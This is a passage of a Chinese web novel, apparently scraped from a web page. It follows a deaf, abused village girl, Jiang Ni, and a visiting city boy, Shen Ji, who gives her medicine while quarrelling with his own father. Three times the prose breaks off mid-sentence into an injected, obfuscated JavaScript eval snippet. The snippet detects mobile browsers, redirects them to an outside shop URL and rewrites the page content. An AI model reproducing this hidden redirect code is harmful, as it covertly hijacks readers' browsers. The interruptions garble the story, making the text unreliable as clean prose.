小米已经粘在了箅子上,放在箅子上的馒头也都被沸上来的小米布满。 因为烧饭沸了锅,吃饭的时候江德富又把江妮给臭骂了一通。 不过江妮听不到,她尽管低着头吃自己的,对于江德富不堪入耳的脏话输出,江妮眼不见心不烦。 江德富吃过饭就出去了。 江妮洗完刷锅完,才注意到院子里那堆已经被扫成一小堆的垃圾。 她立在院中,完全想不起自己什么时候扫的院子。 这不可能是江德富干的。 他可没这么勤快。 而且,江妮记得昨天傍晚母亲的葬礼结束后她回到家时,江德富已经喝的酩酊大醉。 不是她扫的,也不是江德富干的,那会是谁呢? 江妮忽然意识到,她好像丢了一段记忆。 昨晚她去陈爷爷家送碟子。 然后呢? 然后她…… 江妮完全记不起来。 再有记忆,就是她被江德富用皮带抽醒的时候。 中间的那段时间,她的记忆是完全空白的。 江妮眉头紧锁着,试图想要把消失的记忆回想起来,却无果。 她什么都想不起来。 江妮将垃圾堆扫谨簸箕里,端着簸箕出去倒垃圾了。 薛建生此时刚好拎着药箱从江妮家附近经过。 他看到江妮出来倒垃圾,便出声叫了江妮一声:“妮儿!” 江妮还没看到薛建生,自然也没听到他喊她。 等她把垃圾倒完,一转身,就看到薛建生停在路边,正看着她在说什么。 江妮周边没有其他人,他只有可能是在跟她讲话。 但是江妮不知道他在说什么。 她脸上茫然的表情让薛建生也疑惑不已。 这小妮儿是咋了?怎么感觉变傻了?跟她说话咋一点反应都没呢? 薛建声如此心想着,又一次开口,问江妮:“妮儿,你醒了感觉咋样啊?有哪里不舒坦吗?” 江妮拿着簸箕走过来,这才张嘴说话:“建生大爷。” “我耳朵听不见了。”这是江妮在失聪后说的第一句话,她能感受到自己的嘴巴张开,声带在震动,却完全听不到。 也是这种很别扭的感觉,让江妮在说话时忍不住抬手指了指自己的耳朵。 薛建生愣住了一瞬。 他不可置信地问:“听不见了?” “怎么会听不见?是今天醒了后突然听不见的吗?还是前几天就有预兆?”他一下子着急地问了好几个问题,但是忘了江妮根本听不到他在说什么。 江妮轻蹙起眉头,她盯着薛建生张张合合的嘴巴,可是就算她没敢眨眼睛,都还是分辨不出他在说什么。 她又读不懂唇语。 薛建生问完才意识到自己白问,他立刻掏出手机,打开了短信,然后用语音转文字的功能,将自己对着手机说出来的话,变成了文字出现在了正在编辑的短信界面:“妮儿你是昨天夜里晕倒之前就听不见了,还是今天起来才听不见的?” 薛建生把手机举给江妮看。 江妮回他:“是今儿早起醒了后发现听不见的,昨晚还好好的。” 至于之前有没有什么预兆…… 江妮回忆了一下,才又开口告诉他:“我妈妈去世那晚,我爸扇了我一巴掌,当时我有耳鸣的症状,但是过了会儿就好了。” “给我妈妈办葬礼的这几天,我有的时候听声音会感觉像是耳朵被玻璃罩隔开了似的,闷闷的,能听到,但是感觉声音是从很远传过来的,不怎么清楚……” 她当时还以为,那是因为她情绪不好,加上身体疲累,才会出现这种症状。 江妮那会儿根本没有把她时不时就不太能听清别人说话当回事。 薛建生觉得这很严重。 他继续通过手机跟江妮交流,说:“妮儿,你得赶紧去大医院让专家瞧瞧。” 江妮在看完手机上的这句话后,先是沉默了一秒,然后才点了点头。 薛建生还赶时间去给老人输液,就又用手机转了一段文字给江妮看。 他说:“我得去给人输液了,你听我的,一定得尽快去大医院看看,县里治不了就去市里,再不行去省里,越快越好,听力受损要是耽搁久了会不可逆,别不当回事儿。” 江妮抿了抿嘴唇,继续点头,表示她都知道了。 只是,她知道了也没什么用。 这个病听起来要花很多钱,也许还治不好。 而她家根本没钱给她看病。 更何况,江德富也不会掏钱给她治病的。 所以,江妮心想,她从今天开始,就注定只能当个聋子了。 回到家后,江妮开始打扫屋子。 这几天办葬礼,家里乱糟糟的,够她收拾好久。 她忙着忙着,忽然就捕捉到了一个信息点。 刚刚,建生大爷提到了她昨天夜里晕倒。 她晕倒了。 在……陈爷爷家里? 江妮的脑子里大概猜到了当时事情发展的方向。 可能是陈爷爷在她晕倒后打电话叫了建生大爷,在确定她没什么大事后,他们又把她送回了家。 嗯,应该是这样的。 但是下一秒,就那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458911|201249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一瞬间,江妮昨天的记忆残骸中闪过了一个人影。 是那个……在陈爷爷家朝她走来的男生。 碟子! 江妮的心里顿时一紧。 她给陈爷爷送去的碟子不会因为她的晕倒都摔碎了吧? 江妮此时正蹲在床边柜子前用苕帚扫柜子底下,她本来在分心想碟子碎没碎的事儿,结果苕帚扫出来一个东西。 江妮在看到滚落到她脚边的哮喘吸入剂的一刹那,就陷入了一阵恍惚。 这是她用自己偷偷攒了很久很久的零钱,给母亲买的那瓶“信必可”。 因为建生大爷说这个药比母亲用的那种更有效,缺点就是贵。 母亲舍不得买,江德富也绝不会给母亲用贵的药。 但随着一年一年过去,母亲的哮喘也越来越严重,长期用的那款便宜的吸入剂也不如从前有效,所以江妮把母亲给她上学用的零花钱,从各处扣扣搜搜地省下来,哪怕她吃不饱饿一两顿都没关系,就这么一点一点地攒够了一百八十多块钱,给母亲买了这瓶信比可。 母亲用过后也说这个药明显更有效,吸一口就会好受很多。 江妮为此还开心了好久好久。 母亲去世的时候,想拿的就是这瓶药。 可这瓶药在柜子底下…… 江妮很想回忆起那晚的场景。 她来到父母的房间时,江德富正急躁地来回走着给建生大爷打电话。 母亲……母亲的手好像……是搭在床边的? 不对,不对不对,母亲似乎在地上…… 江妮有些头疼地闭上眼,她紧皱着眉头,有些气自己为什么会想不起来。 明明是前几天才发生的事情。 难道是母亲哮喘发作拿药的时候不慎将药掉了,药瓶滚到了柜子底下吗? 江妮蹲在地上,耷拉着脑袋。 手中这瓶药上字逐渐模糊。 有大颗的泪珠从她的眼眶滴落下来,洇湿了她的手。 江妮突然崩溃地号啕大哭起来。 她恨江德富,恨他几乎每天都要喝个烂醉,恨他在母亲出事那晚醉醺醺地睡死过去。 她更恨她自己,江妮恨她自己没有早点听到母亲的求救醒过来去救母亲。 江妮的哭声引来了她家附近的人。 不管是左邻右舍的婶子大娘,还是刚好经过的陈守疆和沈寂,都在听到她痛哭的声音后快速赶到了现场。 沈寂跟着陈守疆进到屋里时,江妮正坐在水泥地上哭的上气不接下气。 她旁边蹲着两个中年女人,是在他和陈守疆前面赶来的邻居。 其中一个女人把哭的泣不成声不断喊妈妈的江妮给搂紧怀里,轻轻地一下一下抚摸着她的后背帮她顺气,嗓子微哽地劝慰她:“妮儿,妮儿啊,你妈肯定也不愿意看到你这样的,乖妮儿……” 另一个女人也跟着劝江妮。 江妮根本听不到她们说话,她连自己喊出来的“妈妈”都听不到。 她妈妈也不会再听到她喊的“妈妈”了。 而站在靠近屋门口的沈寂,却发现江妮的胳膊上多了两道醒目的血痕,很像用鞭子类的东西抽出来的痕迹。 他刚皱起眉,就听到正崩溃大哭的江妮倒吸一口气,随即,她的哭声戛然而止,仿佛突然被人给按下了暂停键。 江妮因为太过悲恸,哭得倒在搂着她安慰的女人怀里,休克了过去。 陈守疆忍不住走上前,语速急切地说:“快掐她人中!” 江妮的人中被掐住,大约过了两三分钟,她就发出了哭着抽泣的声音。 沈寂在江妮休克过去的这几分钟里全程都是懵的。 身体也不自觉地绷住了劲儿。 而他没意识到,在重新听到江妮哭泣的声音的一刹那,他徒然松了一口气。 就连僵硬的身体也瞬间放松了下来。 5. 第 5 章 江妮苏醒过来后,陈守疆跟还在止不住啜泣的江妮说了会儿话。 等江妮的情绪稍微稳定下来,陈守疆就对守着她的两个中年女人说:“我还得去赶车,妮儿就交给你们多劝劝了。” 因为昨天晚上劳驾这大少爷背着江妮跑来跑去,陈守疆今天主动提出要带沈寂去县里转悠一圈。 “哎,行,陈叔你先去吧。”其中一个女人应道。 等陈守疆一转过身来,就看到站在靠近门边的沈寂眼眶通红,一副要跟着江妮碎掉的可怜样儿。 陈守疆说沈寂:“你哭啥?” 沈寂本想开口说他根本没哭,可眼睛一眨巴,一颗泪珠就从他的眼角滚落了下来。 他急忙抬手擦掉,在跟着陈守疆往外走的时候,沈寂语气硬邦邦还凶巴巴地低声回陈守疆:“我想我妈了不行啊!” 陈守疆听闻挑了一下眉。 他之前听宏子提起过沈清源的老婆去世的事。 大概是……三年前。 要是他没记错的话,这小子的母亲去世是在三年前,也是差不多这么个时候,夏天最热的时候。 从江家出来,两个人正继续往村东头的公路上走,沈寂突然开口问陈守疆:“我妈才去世三年,沈清源就想找第二春,老头儿你说他是不是没有心?” 陈守疆如实说:“这我不好评判。” “他是宏叔的老板,又不是你的,你有什么不好评判的。”沈寂哼了声。 陈守疆笑了笑,说:“我说的不好评判,不是因为他是我儿子的老板才不敢评判,而是每个人的位置不一样,看到的事情的面貌也就不一样。” “你是站在儿子的角度上,为你妈妈打抱不平,为你妈妈觉得不值,是不是?” “那你有没有想过,你父亲在你妈妈去世之后,其实是跟你一样难过的,他失去的是他深爱的妻子,没有了这个人在,他会觉得孤独寂寞,因为可能再也没有人能像你妈妈那样懂他了。”陈守疆这话像是在说给沈寂听,又仿佛只是在自言自语。 沈寂冷笑了下,“寂寞?我看他是下半身寂寞,这么迫不及待去找其他女的。” 陈守疆笑着叹息道:“你爸这样的人物,要是那种寂寞的话,还需要特地结个婚来排解?” “如果他想要再一次结婚了,肯定是因为他跟对方说得来,他觉得对方知他懂他,得这样这才行。” 沈寂气愤:“这不就是给他变心找的借口吗!” “我妈才走了三年他就能跟别的女人结婚,那他和我妈那么多年的感情算什么?”他越说越生气:“反正换作是我的话,我这辈子都不会再跟别的女的有什么。” 陈守疆说:“你也说了,那是你,不是你爸爸。” “哎,”他叹了口气,笑道:“你还小呢,也许等你长大了就能理解你父亲了,大人的事儿有的时候很难说。” 沈寂的语气斩钉截铁:“我这辈子都不会理解他的!” “老头儿你明明后来也没再娶,为什么会理解他这种人?”他很不理解陈守疆竟然觉得沈清源没错。 陈守疆乐呵呵地回沈寂:“可能因为,我已经快走完这一辈子了,但你的人生才刚刚开始。” “你们小孩儿啊,凡事都得论个对或错,但人这一辈子有很多时候遇到的事儿,不是非黑即白的。” 不等沈寂再说什么,陈守疆就又说:“就到了。” 沈寂这才抬头往前看了看,原来他们已经沿着公路,走到了岔路口。 路口边上立了个公交车的指示牌。 他回头看了看,村口已经在两百多米开外了。 啧,这个破地方是真不便利,坐个公交车还得走两三百米到路口来等车。 沈寂正腹诽着,公交车就来了。 他跟在陈守疆上了公交车。 陈守疆上车后,从兜里掏出一个手绢,手绢里面是他今天带的钱。 陈守疆拿了张十块的给了靠近车门坐着的售票员,说:“俩人的。” 公交车的发车点就在邻村。 不管是司机还是售票员,抑或是一些坐在公交车上要去县城的村民,都熟悉陈守疆。 见他这回带了个十几岁的男孩子一起去县城,售票员大姐好奇地笑着问:“陈大爷,这是你家孙子啊?” 陈守疆扭脸看了正在环视车厢微微皱眉的沈寂,随即就笑容满面地回了对方:“我儿子他老板的孩子,过暑假来这儿体验生活来了。” 而沈寂此时正在想,这乡下的公交车怎么跟城里的公交车还不太一样…… 座位不是塑料座椅,而是类似高铁上的座位,而且座位套都很陈旧,看起来脏兮兮的,还是很俗气很村的那种花纹。 沈寂有点难以忍受,有那么一瞬间他很想转身下车。 但是公交车在他们上来后就立刻起步继续往前开去了,老头儿钱都给出去了,要是他现在又说下车……不仅会让老头难堪,还辜负了他一片心意。 算了,他忍忍好了。 陈守疆已经走到了一排空着的座位处。 他回头招呼沈寂,“小子,你来,来这儿坐。” 沈寂不自知地微皱着眉走过来,陈守疆又问他:“你坐里头还是外头?” 沈寂犹豫了一下,才回他:“外边吧。” 一车厢的人都听到了沈寂的普通话,落在他身上的目光顿时又多了些。 沈寂倒没觉得不自在。 他从小就被注视惯了,不管走到哪儿,他似乎都是人们目光聚焦的中心。 等陈守疆坐到里边去,沈寂才小心翼翼地挺直着身板坐在了座位靠过道的角角上。 而后他一掀起眼皮,就看到了前面座位上套的一截座帽,上面印着当地一家男性生殖医院的广告。 沈寂:“……” 他移开目光,转头去看窗外。 除了地里大片大片的农作物,也没什么好看的。 想念江城。 此时此刻,沈寂对江城的想念达到了顶峰。 陈守疆把沈寂的嫌弃都看在眼里。 他笑笑不说话,也不强迫坐姿不舒服的沈寂靠着椅背坐好。 一路上,公交车每经过一个村,只要等车的地方站着人,司机就会停下来接上人,再继续沿着路往县城开。 有的路段路不平,公交车会变得非常颠簸。 沈寂就这么僵直着身体坐了三四十分钟的公交车,才到了所谓的县城。 下车的时候司机扬声提醒:“咱们下午还是三点半从这儿发车啊,就这一趟回村的公交车,大家千万要记着时间,别过了时间回不去了!” 从公交车上一下来,沈寂就看到了马路对面开的奶茶店。 他的眼里瞬间就有了亮光,皱了一路眉心也顿时舒展开了。 “老头儿老头儿!”沈寂伸手管陈守疆要钱:“给我点钱,我要去买奶茶!” 陈守疆从兜里掏出手绢,还没等他给沈寂拿钱,沈寂就自己抽走了一张红票票,在他要开心地奔向奶茶店时,还不忘问陈守疆:“你喝吗?要不要加糖?” 陈守疆摆摆手,“不喝不喝。” 他一辈子都没喝过这种东西。 陈守疆还是更习惯喝茶叶水。 沈寂没再说什么,一溜烟朝马路对面跑去。 陈守疆眨个眼的功夫,沈寂就已经在奶茶店里了。 虽然这个牌子的奶茶他在江城的时候根本就没点过,但现在条件有限,他也就不挑了。 沈寂买了两杯果茶。 两杯一模一样,加了冰沙,没加糖,葡萄口味的。 他直接在店里就撕开吸管的包装,将吸管插到了奶茶杯里。 随后,沈寂一手拿着一杯果茶跑回来。 不等陈守疆说什么,沈寂就给了他一杯,笑眼弯弯地说:“老头儿,给你一杯,你尝尝,天儿这么热,喝点冰的能凉快凉快。” 陈守疆眼瞅着沈寂明显开心了,也不由自主地笑起来,心想这臭小子长得确实俊,虽然长相是很有攻击性的锋利的帅气,但在他笑起来的时候,简直就是人畜无害阳光开朗的小狗。 因为沈寂拿陈守疆的钱买了奶茶慷慨馈赠,陈守疆这辈子第一回尝到了果茶的味道。 凉丝儿丝儿的,还怪解暑。 虽然小县城比不上江城这种一线大城市,但也比江陈村好得多。 沈寂寡了快两个星期,今天终于在县城小小地满足了一下。 喝了奶茶,吃了汉堡薯条,还去商场买了一套运动背心短裤和一双板鞋。 当然,花的都是陈守疆的钱。 “老头儿,”沈寂在陈守疆给他付衣服和鞋子的钱的时候对陈守疆说:“这钱都当我借你的,等我回了江城就连本带息地把钱还给你。” 陈守疆开玩笑地问他:“哦?利息是多少啊?” 沈寂很大方道:“十倍还你。” 陈守疆好笑地说:“你是真不知道挣钱有多不容易。” 正吃着雪糕的沈寂听闻,若有所思地回他:“嗯……可能吧。” 他从出生开始就没缺过钱,应该说,他这辈子最不缺的就是钱了。 在要离开商场回公交车上时,沈寂又拉着陈守疆去商场一楼的超市逛了一圈,毫不意外地又买了一堆零食。 买完零食,沈寂才心满意足地和陈守疆往公交车发车的地方走。 到公交车停靠的地方后,沈寂让陈守疆拎着东西先上去,他转身又跑去了奶茶店。 等沈寂拎着装了两杯果茶的袋子回来时,公交车上已经坐了些要返回村里的乘客。 此时距离发车还有十来分钟。 而沈寂时在坐下后才发觉自己的胳膊不舒服。 他的两条胳膊都发着红,甚至还有些痒,让沈寂总忍不住想要去抓痒。 陈守疆注意到他一直在挠胳膊,进而发现了他胳膊上的一片红。 “别抓了,”陈守疆把沈寂正在挠胳膊的手拿开,说他:“你这是晒伤了。” 说完还不忘调侃沈寂:“太细皮嫩肉了。” 不等沈寂说话,陈守疆就站了起来,让坐在外侧的沈寂给他让道,说:“等着,我去给你拿药。” 沈寂“哦”了声。 在陈守疆要下车的时候,沈寂突然又说:“老头儿,要不还是我去吧,快发车了,我跑得快。” 陈守疆摆了摆手,“你又不认道。” 陈守疆下了车就快步走了,沈寂透过脏兮兮的车窗看着他风风火火的背影,在心里感慨着这老头还挺壮实,走起路来健步如飞的。 陈守疆赶在发车前的两分钟回来了。 手里拎着个带有药房logo的塑料袋,里面装着给沈寂买回来的药。 正在用其中一杯被他开了口的饮品冰胳膊的沈寂在接过陈守疆递给他的东西后,就打开了袋子。 “红霉素软膏和芦荟胶?”他扭脸看向陈守疆。 陈守疆说:“我问的药房的人,人家说晒伤就抹这个。” “哦。”沈寂应了声,随后又说:“谢了啊老头儿,这个也记在我要还你的钱里。” 陈守疆哼笑了声。 沈寂又看了看红霉素软膏的适应症,然后才打开。 在往胳膊上涂抹药膏之前,沈寂纠结了一下自己没洗手也没有湿巾让他擦手的情况,最后他还是屈服在了不断发痒让他难耐的晒伤下,直接上手涂了药膏。 涂完药膏后,沈寂就拿出还没喝的另一杯饮品,递给了陈守疆。 陈守疆这次说什么也不喝了。 既然他不喝,沈寂就决定把这杯带回家,放进冰箱冰起来,等晚上洗过澡后,他再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458912|201249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美美享用。 不过,这杯喝的,最终也没能跟着沈寂回到家里的冰箱中去。 因为沈寂和陈守疆在进了村往家里走的时候,刚好会经过家在村东头的江妮家。 他们从江妮家门口经过的时候,江家大门敞开着,江妮正坐在门洞子里插花。 这是母亲还没去世前接的插花的零活儿,过几天就到了交差的时间,江妮得趁这几天赶紧把这活儿给干完,才能拿到属于母亲的工钱。 陈守疆看到江妮,叫了她一声:“妮儿。” 江妮没有任何反应,还垂头忙碌着。 陈守疆走过去。 江妮感受到了有人靠近,这才抬起头来。 她仰脸望着陈守疆,喊了一声:“陈爷爷。” 同时已经站了起来。 然后江妮又想起昨晚给陈守疆送去的碟子不知道坏没坏,于是又问:“昨晚给你送去的碟子,摔坏了吗?” 陈守疆说:“碟子没摔,没坏,我上午忘了问你,你今天醒了后没不舒服吧?” 江妮没看懂他说的话,她神情茫然地盯着陈守疆,又问了一遍:“碟子坏了吗?” 陈守疆有些不解地停顿了下,他不是说没坏了吗?怎么这小妮儿又问了一遍?难道她刚刚在走神没注意听他说话? 这回陈守疆抬手摆了摆,示意江妮碟子没摔坏。 江妮这下懂了。 碟子没有摔坏。 那就好。 “陈爷爷,昨晚谢谢你帮我叫建生大爷,还把我送回来。”江妮对陈守疆说。 陈守疆还没说话,旁边正吸着果茶的沈寂就哼了声。 背她去村医家里又把她背回来的人可是他。 是他! 嘴里含着吸管的沈寂气的腮帮子都鼓了起来。 下一秒,陈守疆拉过沈寂,笑着告诉江妮:“背你去建生家里的是这小子,他背着你跑的可快了。” 毕竟,当时他就转身放个碟子的功夫,再快步走出家门,过道里已经没沈寂的身影了。 然后陈守疆又说:“把你背回家的也是他,我没出什么力。” 江妮哪里听得到。 对于陈守疆的话,她只能从陈守疆的肢体行为上去判断。 陈守疆把那个男生往前拉了拉,江妮猜测陈守疆在给她介绍对方。 不过江妮没想明白,陈爷爷为什么会突然给她介绍这个人是谁。 于是,江妮淡然的面色里带着几分迷茫地看向了沈寂。 沈寂也在垂眼盯着她看。 他长得高,虽然才十六岁,但身高已经过了一米八。 而眼前这个女孩子,对沈寂来说,就像个小豆丁,而且还是个营养不良的小豆丁。 沈寂本以为江妮会跟他说谢谢,然而并没有。 江妮和他对视了一眼后,就又看向了陈守疆。 她对陈守疆说:“陈爷爷,我去干活了。” 孩子都这样说了,陈守疆也就没有打算再拉着她说话。 在走之前,陈守疆对沈寂说:“小子,把那杯还没喝的奶茶给妮儿吧。” 沈寂倒是没不同意。 他早就过了护食的年纪,况且今天他已经喝到了两杯果茶,口腹之欲已经得到了小小的满足。 所以,沈寂抬起拎着奶茶袋子的那只手,将那杯还没喝的果茶递给了江妮。 江妮顿时受惊似的往后退了小半步。 沈寂轻皱起眉。 干嘛啊,当他是瘟神啊,这么怕他。 “要不要啊?”沈寂一脸不高兴地哼哼道:“不要我就拿走了。” 下一秒,果茶连同袋子以及袋子里的吸管都被人给一把掳走。 陈守疆将这杯没拆封的果茶直接塞给了江妮。 江妮慌乱无措地抬起双手接住,这才没让东西掉到地上。 沈寂说她:“不说个谢谢?” 江妮还是没搭理他。 沈寂有些气,没礼貌的小丫头片子! 他就这么气哼哼地跟着陈守疆走了。 江妮其实一直在震惊的状态中,还没缓过神的她正低头看着怀里的奶茶,突然有个人又冲到了她面前。 因为完全听不见任何声音了,江妮正处于一种和外界失联的状态,这种状态让她非常没有安全感,所以对于突然闯入她视野的一切,江妮都会不可避免地吓到。 比如这个刚刚才离开又猝不及防冲撞进她视野范围内的男生。 江妮瞪大眼眸,神情完全就像是一只受了惊的兔子,浑身僵硬地呈防御姿态,眼睛里除了惊慌还有警惕。 沈寂从药房袋子里掏出那支红霉素软膏,递给她,说:“这个给你。” 江妮还是一脸惶惶然地瞅着他。 沈寂有些不耐烦地“哎呀”了一声,拿着红霉素软膏的手指了指她手臂上还没完全结痂的伤口,说:“你这儿,最好用点药。” 说完还要再解释一番:“反正我用不用都行,给你好了,你看起来比我更需要这个东西。” 江妮还没做出反应,这支红霉素软膏就被沈寂放在了她抱着的奶茶袋子上方。 在沈寂转身要走的时候,身后传来了江妮轻轻细细的嗓音:“谢谢……” 沈寂有些意外地回过头,挑起眉梢,嘴角也无意识地上扬起来。 他似笑非笑地回了她一句:“这回不装哑巴了?” 江妮不知道他又说了什么,她只望着他,没什么反应地眨巴着眼睛。 沈寂见她没有要说话的意思,叹了口气:“行吧,又变回哑巴了。” 他说完就抬脚跑走,去追赶陈守疆了。 江妮在沈寂离开了几分钟之后,才后知后觉地意识到,这个男生虽然看起来凶凶的很有脾气很不好惹,但是当他笑起来的时候,就一点都不凶了。 6. 第 6 章 沈寂追上陈守疆后,就伸手把陈守疆帮他拎的购物袋给拿了过来。 陈守疆扭脸瞧了沈寂一眼,笑呵呵地问他:“你把药膏给小妮儿了?” 沈寂皱着眉说:“她胳膊上的伤要是不抹点药,这么热的天万一感染了,估计会很麻烦。” 陈守疆面色温和地问沈寂:“那你呢?” 沈寂无所谓道:“我这算什么伤啊,一会儿回去冰敷一下,抹点芦荟胶就行。” 说完他就问陈守疆:“她经常挨打吗?” 陈守疆摇摇头,“不知道。” 沈寂才舒展开一点的眉心顿时又拧紧:“这算什么回答?我还为你要说她没有经常挨打呢!” 陈守疆微微叹了口气,实话实说地告诉沈寂:“我确实没亲眼看到过,但是小妮儿的身上时不时就会有点磕伤碰伤,具体怎么弄的,只有她自己才清楚。” “那不就是被她爸弄的!”沈寂气愤地问:“你们村的人都不制止的吗?这是家暴!” 陈守疆反问沈寂:“怎么制止?别人是听到动静了还是看见她被打了?” “就算偶尔撞见了,她爸爸却张嘴就说他只是在教育孩子,别人又能说什么?退一万步,就算碰见了也制止了,然后呢?”陈守疆说:“谁能保证,等我们这些外人走了后,等那扇大门被关上后,小妮儿不会因为有人帮她讲话而受到更狠的惩罚?” “你能保证吗?”陈守疆问沈寂。 沈寂沉默了几秒钟,低声问出口:“所以你们就旁观着,装作什么都不知道?” “但你不能否认,有的时候不上前就是别人能做的最大的保护了。”陈守疆说。 沈寂立刻反驳道:“我不这么认为。” “他最好别让我看到他对他女儿动手。”沈寂气的咬牙切齿。 “小子,”陈守疆很中肯地好心提醒沈寂:“你要是不能保证你可以一直都护着她,最好不要去插手。” 沈寂刚要说话,陈守疆就率先道:“就算你这个暑假能帮她一次两次,可等你走了之后呢?” 已经走到了家门口,陈守疆掏出钥匙,将钥匙怼进锁眼,打开了大门上挂着的那把锁,继续说道:“等你走了,就不会再有人挡在她身前了,到时候,你这一个暑假对他的短暂保护,换来的只会是出现在她身上的更多的伤。” “但你起初想要护着她,不就是想让她的身上别再出现新的伤了吗?”陈守疆说。 因为陈守疆的这番话,直到吃过晚饭沈寂都还在愁眉紧锁。 晚饭结束没多久,陈国宏的视频电话就打了过来。 陈守疆开了视频和陈国宏说了几句话后,陈国宏问陈守疆:“爹,小寂最近嘛样?” “挺好的,”陈守疆乐呵呵地说:“这小子能吃能喝能睡。” 说完还抬头瞅了眼正一脸严肃魂游天外的沈寂。 沈寂此时正在左右脑互搏。 他一边觉得陈守疆说的也有道理,但是一边又无法认同村民们袖手旁观的做法。 沈寂从陈守疆的话里听到了一个事实——其实所有人对于江妮被打的事都心知肚明,可是却没有一个人制止过这种家暴的行为。 他要怎么做,才能让她从此以后都不会再深陷在被家暴的漩涡里呢? 沈寂正苦苦思索着,陈守疆就把手机塞到了沈寂的手中。 “小寂,”跟父亲说话时用家乡话的陈国宏转了普通话,关切地问沈寂:“你最近怎么样?” 沈寂心不在焉地说:“还行。” 陈国宏状似随口闲聊般问沈寂:“你想什么时候回来啊?” 沈寂垂眼看着视频那端的陈国宏,没有直接回答,而是语调懒散地说:“我什么时候回去,不都是沈清源说了算。” 陈国宏轻轻咳了一声,眼睛也不由自主地往视频外的某处瞟了一下,而后才笑着说:“你要是想尽快回来,宏叔明天就去接你,只要你……” 沈寂不等陈国宏把话说完,就截了话茬,说:“只要我回去了跟沈清源好好道个歉,是吧?” “他做梦去吧!”沈寂冷笑道:“要道歉也该是他跟我道歉,都瞒着我这个儿子要二婚了,他有想过我妈吗?有想过我吗?我妈刚去世三年他就按捺不住了,那他和我妈那么多年的感情算什么?之前还在采访中说什么跟我妈伉俪情深,狗屁的伉俪情深!” “沈寂!”屏幕外的沈清源终于出了声,他声音愠怒道:“你给我在那儿呆着吧,别回来了!我还就偏趁你不在的这段时间把婚结了!” 沈寂气的跳脚,他直接蹭地一下站了起来,破口大骂:“沈清源你就是个王八蛋!你对我妈那所谓的真心都被狗吃了!” 眼看父子俩之间的大战都要隔着网线一触即发了,陈国宏赶紧把视频给挂断了。 挂了视频后陈国宏就劝说沈清源:“先生,你说你跟小寂吵什么啊,有什么话不能好好说,况且你也没跟别的女人有什么,更没打算要二婚什么的,干嘛非得说要结婚刺激他……” 沈清源的气不打一出来,“你看他那狗屁不通的样子像是要跟我好好说话的态度吗?” “那天我一回家他就跟疯了一样对着我一顿输出,我本来是想解释,但也得对方听得进去解释得通才行吧?”沈清源沉沉地吐了口气,“他的狗脾气该好好磨一磨,正好趁这个机会让他吃吃苦头。” 说完停顿了下,又吩咐陈国宏:“买点晒伤药膏寄你老家去吧,再给老爷子买点营养品。” 陈国宏无奈地笑了起来。 刚刚老头子跟他说沈寂今天去县城晒伤了胳膊,先生在旁边听的一清二楚,这是要给小寂送晒伤膏呢。 父子俩吵归吵,先生还是很爱小寂的,就是太缺乏沟通了。 陈国宏这么想着,点头应下来:“行,我去办。” 沈寂气冲冲地把陈守疆的手机丢在饭桌上,转而拿起那罐他喝过的冰可乐,仰起头咕嘟咕嘟一口气都灌了下去。 喝完可乐沈寂还是觉得不解气,顺手就把可乐罐给单手捏扁了,然后可乐罐就被他丢出去,在空中划过一道弧线,进了院子里的那个垃圾桶中。 沈寂扔了可乐罐就转头去冲澡消气去了。 而此时的江妮,正在洗碗刷锅。 江德富靠在椅子上,又在喝酒。 江妮没管他,刷完锅就继续干其他的事,一直等到江德富喝的烂醉,躺在屋里的床上睡到打呼,她才敢打开冰箱,从冷冻层拿出那杯还没开封的饮品。 下午陈守疆和沈寂离开后,江妮就把这杯喝的放进了冰箱冷冻层。 江德富很宝贝的啤酒都在冷藏层冰着,他没事根本不会翻冷冻层,尽管如此,江妮当时还是很谨慎地把这杯喝的放进了最后一层的最里侧,还用其他东西盖住了。 现在江德富已经睡死了过去,江妮拿出这杯饮品,去了院子里。 门洞子里的灯亮着,地上都是插花的东西。 江妮坐到小板凳上,捧着已经被冻得邦邦硬的饮品,感受着清凉的温度从她的掌心逐渐往身体各处蔓延。 须臾,江妮把这杯冻成冰块的饮品放到旁边,继续插花。 后来这杯饮品渐渐化开,江妮才撕开吸管的包装,插好吸管,小小地嘬了一口。 她的口腔里顿时被浓郁的葡萄味给填满。 江妮又吸了一口,然后不知道想起了什么,转动了下胳膊,垂眸看向胳膊上的伤。 今天下午在拿到那个男生给她的药膏后,她就把手洗干净,抹了药膏。 这会儿伤口已经不再渗血,也不觉得刺痛了。 江妮咬着吸管心想,等会儿睡觉之前再抹一次药膏,明天应该就能完全结痂了。 江妮就这样,干一会儿活儿就捧着这杯果茶喝几口,顺便歇一歇。 她很享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458913|201249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 